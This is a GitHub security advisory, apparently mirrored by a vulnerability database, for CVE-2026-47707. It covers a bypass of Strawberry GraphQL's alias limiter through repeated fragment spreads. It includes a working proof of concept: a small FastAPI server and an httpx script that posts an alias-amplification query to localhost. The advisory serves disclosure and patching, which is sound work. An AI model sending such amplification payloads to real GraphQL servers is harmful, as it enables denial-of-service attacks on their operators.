GHSA-FR49-MHGJ-CRFC
Vulnerability from github – Published: 2026-06-04 14:39 – Updated: 2026-06-04 14:39Summary
The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details
The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach
for selection in selection_set_owner.selection_set.selections:
if isinstance(selection, FieldNode) and selection.alias:
result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
result += count_fields_with_alias(selection)
When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads * aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Limit is set to 20 aliases
schema = strawberry.Schema(
query=Query,
extensions=[MaxAliasesLimiter(max_alias_count=20)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
payloads
import httpx
payload = {
"query": """
fragment Amplification on User {
a1: name, a2: name, a3: name, a4: name, a5: name,
a6: name, a7: name, a8: name, a9: name, a10: name
}
query Bypass {
u1: user { ...Amplification }
u2: user { ...Amplification }
u3: user { ...Amplification }
u4: user { ...Amplification }
u5: user { ...Amplification }
u6: user { ...Amplification }
u7: user { ...Amplification }
u8: user { ...Amplification }
u9: user { ...Amplification }
u10: user { ...Amplification }
}
"""
}
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())
Impact
An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.315.6"
},
"package": {
"ecosystem": "PyPI",
"name": "strawberry-graphql"
},
"ranges": [
{
"events": [
{
"introduced": "0.172.0"
},
{
"fixed": "0.315.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47707"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:39:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.\n\n### Details\nThe current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach\n```\nfor selection in selection_set_owner.selection_set.selections: \n if isinstance(selection, FieldNode) and selection.alias:\n result += 1\n\n if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:\n result += count_fields_with_alias(selection)\n```\n\nWhen a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is\n\n**Total Aliases = query aliases + (num of spreads * aliases within fragment)**\n\nBecause Strawberry only performs a static sum of the text, it misses this multiplication\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import MaxAliasesLimiter\n\n@strawberry.type\nclass User:\n name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n @strawberry.field\n def user(self) -\u003e User:\n return User()\n\n# Limit is set to 20 aliases\nschema = strawberry.Schema(\n query=Query, \n extensions=[MaxAliasesLimiter(max_alias_count=20)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**payloads**\n```\nimport httpx\n\npayload = {\n \"query\": \"\"\"\n fragment Amplification on User {\n a1: name, a2: name, a3: name, a4: name, a5: name,\n a6: name, a7: name, a8: name, a9: name, a10: name\n }\n query Bypass {\n u1: user { ...Amplification }\n u2: user { ...Amplification }\n u3: user { ...Amplification }\n u4: user { ...Amplification }\n u5: user { ...Amplification }\n u6: user { ...Amplification }\n u7: user { ...Amplification }\n u8: user { ...Amplification }\n u9: user { ...Amplification }\n u10: user { ...Amplification }\n }\n \"\"\"\n}\n\nresponse = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\nprint(f\"Status: {response.status_code}\")\n# The response will contain 100 \u0027a\u0027 aliases nested within 10 \u0027u\u0027 aliases.\nprint(response.json())\n```\n\n### Impact\nAn attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory",
"id": "GHSA-fr49-mhgj-crfc",
"modified": "2026-06-04T14:39:42Z",
"published": "2026-06-04T14:39:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
},
{
"type": "PACKAGE",
"url": "https://github.com/strawberry-graphql/strawberry"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Strawberry GraphQL\u0027s Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.